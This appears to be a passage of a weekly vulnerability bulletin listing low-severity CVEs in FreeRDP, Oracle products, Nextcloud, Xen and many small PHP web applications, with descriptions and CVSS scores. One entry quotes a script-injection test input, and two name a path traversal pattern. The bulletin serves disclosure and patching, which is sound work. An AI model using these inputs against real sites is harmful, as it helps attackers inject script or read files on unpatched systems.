freerdp -- freerdp	FreeRDP is a set of free and open source remote desktop protocol library and clients. In affected versions an integer overflow in `freerdp_bitmap_planar_context_reset` leads to heap-buffer overflow. This affects FreeRDP based clients. FreeRDP based server implementations and proxy are not affected. A malicious server could prepare a `RDPGFX_RESET_GRAPHICS_PDU` to allocate too small buffers, possibly triggering later out of bound read/write. Data extraction over network is not possible, the buffers are used to display an image. This issue has been addressed in version 2.11.5 and 3.2.0. Users are advised to upgrade. there are no know workarounds for this vulnerability.	2024-01-19	3.7	CVE-2024-22211
gluwa -- creditcoin	Creditcoin is a network that enables cross-blockchain credit transactions. The Windows binary of the Creditcoin node loads a suite of DLLs provided by Microsoft at startup. If a malicious user has access to overwrite the program files directory it is possible to replace these DLLs and execute arbitrary code. It is the view of the	2024-01-17	3.3	CVE-2024-22410

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	blockchain development team that the threat posed by a hypothetical binary planting attack is minimal and represents a low-security risk. The vulnerable DLL files are from the Windows networking subsystem, the Visual C++ runtime, and low-level cryptographic primitives. Collectively these dependencies are required for a large ecosystem of applications, ranging from enterprise-level security applications to game engines, and don't represent a fundamental lack of security or oversight in the design and implementation of Creditcoin. The blockchain team takes the stance that running Creditcoin on Windows is officially unsupported and at best should be thought of as experimental.			
hcl_software -- hcl_bigfix_osd_bare_metal_server_webui	HCL BigFix Bare OSD Metal Server WebUI version 311.19 or lower can sometimes include sensitive information in a query string which could allow an attacker to execute a malicious attack.	2024-01-16	2.3	CVE-2023-37521 psirt@hcl.com
ibm -- qradar_siem	IBM QRadar SIEM 7.5 could disclose sensitive email information in responses from offense rules. IBM X-Force ID: 275709.	2024-01-17	3.7	CVE-2023-50950
jspxcms -- jspxcms	A vulnerability was found in Jspxcms 10.2.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file src\main\java\com\jspxcms\core\web\back\InfoController.java of the component Document Management Page. The manipulation of the argument title leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250837 was assigned to this vulnerability.	2024-01-16	3.5	CVE-2024-0599
jspxcms -- jspxcms	A vulnerability has been found in Jspxcms 10.2.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Survey Label Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251545 was assigned to this vulnerability.	2024-01-19	3.5	CVE-2024-0721
lenovo -- tablet	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier.	2024-01-19	3.3	CVE-2023-5081
liuwy-dlsdys -- zhglxt	A vulnerability, which was classified as problematic, has been found in liuwy-dlsdys zhglxt 4.7.7. This issue affects some unknown processing of the file /oa/notify/edit of the component HTTP POST Request Handler. The manipulation of the argument notifyTitle leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251543.	2024-01-19	2.4	CVE-2024-0718
nextcloud -- security-advisories	Nextcloud User Saml is an app for authenticating Nextcloud users using SAML. In affected versions users can be given a link to the Nextcloud server and end up on a uncontrolled thirdparty server. It is recommended that the User Saml app is upgraded to version 5.1.5, 5.2.5, or 6.0.1. There are no known workarounds for this issue.	2024-01-18	3.1	CVE-2024-22400
nextcloud -- security-advisories	Nextcloud server is a self hosted personal cloud system. In affected versions OAuth codes did not expire. When an attacker would get access to an authorization code they could authenticate at any time using the code. As of version 28.0.0 OAuth codes are invalidated after 10 minutes and will no longer be authenticated. To exploit this vulnerability an attacker would need to intercept an OAuth code from a user session. It is recommended that the Nextcloud Server is upgraded to 28.0.0. There are no known workarounds for this vulnerability.	2024-01-18	3	CVE-2024-22403
oracle -- jd_edwards_enterpriseone_tools	Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC). Supported versions that are affected are Prior to 9.2.8.1. Easily exploitable vulnerability allows high privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base	2024-01-16	2.7	CVE-2024-20957

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	Score 2.7 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L).			
oracle -- solaris	Vulnerability in the Oracle Solaris product of Oracle Systems (component: Filesystem). The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 3.8 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N).	2024-01-16	3.8	CVE-2024-20920
oracle -- zfs_storage_appliance_kit	Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle ZFS Storage Appliance Kit executes to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle ZFS Storage Appliance Kit accessible data. CVSS 3.1 Base Score 2.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N).	2024-01-16	2.3	CVE-2024-20914
oracle_corporation -- audit_vault_and_database_firewall	Vulnerability in Oracle Audit Vault and Database Firewall (component: Firewall). Supported versions that are affected are 20.1-20.9. Difficult to exploit vulnerability allows high privileged attacker with network access via Oracle Net to compromise Oracle Audit Vault and Database Firewall. While the vulnerability is in Oracle Audit Vault and Database Firewall, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Audit Vault and Database Firewall accessible data. CVSS 3.1 Base Score 3.0 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N).	2024-01-16	3	CVE-2024-20910
oracle_corporation -- audit_vault_and_database_firewall	Vulnerability in Oracle Audit Vault and Database Firewall (component: Firewall). Supported versions that are affected are 20.1-20.9. Easily exploitable vulnerability allows high privileged attacker with network access via Oracle Net to compromise Oracle Audit Vault and Database Firewall. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Audit Vault and Database Firewall accessible data. CVSS 3.1 Base Score 2.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).	2024-01-16	2.7	CVE-2024-20912
oracle_corporation -- graalvm_enterprise_edition	Vulnerability in the Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Compiler). Supported versions that are affected are Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. CVSS 3.1 Base Score 3.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).	2024-01-16	3.7	CVE-2024-20955
oracle_corporation -- java_se_jdk_and_jre	Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition: 20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that	2024-01-16	2.5	CVE-2024-20922

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).			
social_networking_site -- social_networking_site	A vulnerability was found in code-projects Social Networking Site 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file message.php of the component Message Page. The manipulation of the argument Story leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251546 is the identifier assigned to this vulnerability.	2024-01-19	3.5	CVE-2024-0722
ursa -- ursa	Ursa is a cryptographic library for use with blockchains. A weakness in the Hyperledger AnonCreds specification that is not mitigated in the Ursa and AnonCreds implementations is that the Issuer does not publish a key correctness proof demonstrating that a generated private key is sufficient to meet the unlinkability guarantees of AnonCreds. The Ursa and AnonCreds CL-Signatures implementations always generate a sufficient private key. A malicious issuer could in theory create a custom CL Signature implementation (derived from the Ursa or AnonCreds CL-Signatures implementations) that uses weakened private keys such that presentations from holders could be shared by verifiers to the issuer who could determine the holder to which the credential was issued. This vulnerability could impact holders of AnonCreds credentials implemented using the CL-signature scheme in the Ursa and AnonCreds implementations of CL Signatures. The ursa project has has moved to end-of-life status and no fix is expected.	2024-01-16	3.3	CVE-2022-31021
blood_bank_&_donor_management -- blood_bank_&_donor_management	A vulnerability, which was classified as problematic, was found in Blood Bank & Donor Management 1.0. This affects an unknown part of the file request-received-bydonar.php. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250581 was assigned to this vulnerability.	2024-01-13	2.4	CVE-2024-0476
cdo-utility-local-uuid -- cdo-utility-local-uuid	cdo-local-uuid project provides a specialized UUID-generating function that can, on user request, cause a program to generate deterministic UUIDs. An information leakage vulnerability is present in `cdo-local-uuid` at version `0.4.0`, and in `case-utils` in unpatched versions (matching the pattern `0.x.0`) at and since `0.5.0`, before `0.15.0`. The vulnerability stems from a Python function, `cdo_local_uuid.local_uuid()`, and its original implementation `case_utils.local_uuid()`.	2024-01-11	2.2	CVE-2024-22194
cloudfavorites -- favorites-web	A vulnerability, which was classified as problematic, has been found in cloudfavorites favorites-web 1.3.0. Affected by this issue is some unknown functionality of the component Nickname Handler. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250238 is the identifier assigned to this vulnerability.	2024-01-12	3.5	CVE-2022-4960
code-projects -- dormitory_management_system	A vulnerability was found in code-projects Dormitory Management System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file modifyuser.php. The manipulation of the argument mname leads to information disclosure. The exploit has been disclosed to the public and may be used. The identifier VDB-250577 was assigned to this vulnerability.	2024-01-12	3.5	CVE-2024-0472

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
code-projects -- online_fir_system	A vulnerability was found in code-projects Online FIR System 1.0. It has been classified as problematic. This affects an unknown part of the file registercomplaint.php. The manipulation of the argument Name/Address leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250611.	2024-01-13	3.5	CVE-2024-0503
code-projects -- simple_online_hotel_reservation_system	A vulnerability has been found in code-projects Simple Online Hotel Reservation System 1.0 and classified as problematic. This vulnerability affects unknown code of the file add_reserve.php of the component Make a Reservation Page. The manipulation of the argument Firstname/Lastname with the input <script>alert(1)</script> leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250618 is the identifier assigned to this vulnerability.	2024-01-13	3.5	CVE-2024-0504
discourse -- discourse	Discourse is a platform for community discussion. Under very specific circumstances, secure upload URLs associated with posts can be accessed by guest users even when login is required. This vulnerability has been patched in 3.2.0.beta4 and 3.1.4.	2024-01-12	3.1	CVE-2023-49099
discourse -- discourse-reactions	Discourse-reactions is a plugin that allows user to add their reactions to the post. Data about a user's reaction notifications could be exposed. This vulnerability was patched in commit 2c26939.	2024-01-12	3.5	CVE-2023-49098
employee_profile_management_system -- employee_profile_management_system	A vulnerability classified as problematic was found in code-projects Employee Profile Management System 1.0. This vulnerability affects unknown code of the file download.php. The manipulation of the argument download_file leads to path traversal: '../filedir'. The exploit has been disclosed to the public and may be used. VDB-250570 is the identifier assigned to this vulnerability.	2024-01-12	3.5	CVE-2024-0465
employee_profile_management_system -- employee_profile_management_system	A vulnerability, which was classified as problematic, was found in code-projects Employee Profile Management System 1.0. Affected is an unknown function of the file edit_position_query.php. The manipulation of the argument pos_name leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250572.	2024-01-12	3.5	CVE-2024-0467
gitlab -- gitlab	An issue has been discovered in GitLab CE/EE affecting all versions from 12.2 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which an attacker could potentially modify the metadata of signed commits.	2024-01-12	3.5	CVE-2023-2030
inis -- inis	A vulnerability was found in Inis up to 2.0.1. It has been rated as problematic. This issue affects some unknown processing of the file /app/api/controller/default/File.php of the component GET Request Handler. The manipulation of the argument path leads to path traversal: '../filedir'. The exploit has been disclosed to the public and may be used. The identifier VDB-250109 was assigned to this vulnerability.	2024-01-09	3.5	CVE-2024-0341
online_food_ordering_system -- online_food_ordering_system	A vulnerability was found in CodeAstro Online Food Ordering System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file dishes.php. The manipulation of the argument res_id leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250442 is the identifier assigned to this vulnerability.	2024-01-11	3.5	CVE-2024-0423
pos_and_inventory_management_system -- pos_and_in	A vulnerability was found in CodeAstro POS and Inventory Management System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /new_item of the component New Item Creation Page. The manipulation of the argument new_item leads to cross site scripting. The	2024-01-11	3.5	CVE-2024-0422

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
ventory_management_system	attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250441 was assigned to this vulnerability.			
qkmc-rk -- redbbs	A vulnerability classified as problematic has been found in qkmc-rk redbbs 1.0. Affected is an unknown function of the component Post Handler. The manipulation of the argument title leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250236.	2024-01-11	3.5	CVE-2022-4958
qkmc-rk -- redbbs	A vulnerability classified as problematic was found in qkmc-rk redbbs 1.0. Affected by this vulnerability is an unknown functionality of the component Nickname Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250237 was assigned to this vulnerability.	2024-01-11	3.5	CVE-2022-4959
simple_banking_system -- simple_banking_system	A vulnerability classified as problematic has been found in CodeAstro Simple Banking System 1.0. This affects an unknown part of the file createuser.php of the component Create a User Page. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250443.	2024-01-11	3.5	CVE-2024-0424
sourcecodester -- engineers_online_portal	A vulnerability was found in SourceCodester Engineers Online Portal 1.0 and classified as problematic. This issue affects some unknown processing of the file signup_teacher.php. The manipulation of the argument Password leads to weak password requirements. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250115.	2024-01-09	3.7	CVE-2024-0347
sourcecodester -- engineers_online_portal	A vulnerability classified as problematic has been found in SourceCodester Engineers Online Portal 1.0. This affects an unknown part. The manipulation leads to session fixiation. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250119.	2024-01-09	3.5	CVE-2024-0351
sourcecodester -- house_rental_management_system	A vulnerability, which was classified as problematic, has been found in SourceCodester House Rental Management System 1.0. This issue affects some unknown processing of the file index.php. The manipulation of the argument page leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250607.	2024-01-13	2.4	CVE-2024-0499
sourcecodester -- house_rental_management_system	A vulnerability, which was classified as problematic, was found in SourceCodester House Rental Management System 1.0. Affected is an unknown function of the component Manage Tenant Details. The manipulation of the argument Name leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250608.	2024-01-13	2.4	CVE-2024-0500
sourcecodester -- house_rental_management_system	A vulnerability has been found in SourceCodester House Rental Management System 1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Manage Invoice Details. The manipulation of the argument Invoice leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250609 was assigned to this vulnerability.	2024-01-13	2.4	CVE-2024-0501
vehicle_booking_system --	A vulnerability has been found in CodeAstro Vehicle Booking System 1.0 and classified as problematic. This vulnerability affects unknown code of the file usr/user-give-feedback.php of the component Feedback Page. The manipulation of the argument My Testemonial leads to cross site scripting. The attack can be	2024-01-09	3.5	CVE-2024-0346

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
vehicle_booking_system	initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250114 is the identifier assigned to this vulnerability.			
wordpress -- wordpress	The My Sticky Bar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.6.6. This is due to missing or incorrect nonce validation in mystickymenu-contact-leads.php. This makes it possible for unauthenticated attackers to trigger the export of a CSV file containing contact leads via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Because the CSV file is exported to a public location, it can be downloaded during a very short window of time before it is automatically deleted by the export function.	2024-01-11	3.1	CVE-2023-7048
xen -- xen	Arm provides multiple helpers to clean & invalidate the cache for a given region. This is, for instance, used when allocating guest memory to ensure any writes (such as the ones during scrubbing) have reached memory before handing over the page to a guest. Unfortunately, the arithmetics in the helpers can overflow and would then result to skip the cache cleaning/invalidation. Therefore there is no guarantee when all the writes will reach the memory.	2024-01-05	3.3	CVE-2023-34321 security@xen.org
xen -- xen	Arm provides multiple helpers to clean & invalidate the cache for a given region. This is, for instance, used when allocating guest memory to ensure any writes (such as the ones during scrubbing) have reached memory before handing over the page to a guest. Unfortunately, the arithmetics in the helpers can overflow and would then result to skip the cache cleaning/invalidation. Therefore there is no guarantee when all the writes will reach the memory. This undefined behavior was meant to be addressed by XSA-437, but the approach was not sufficient.	2024-01-05	3.3	CVE-2023-46837 security@xen.org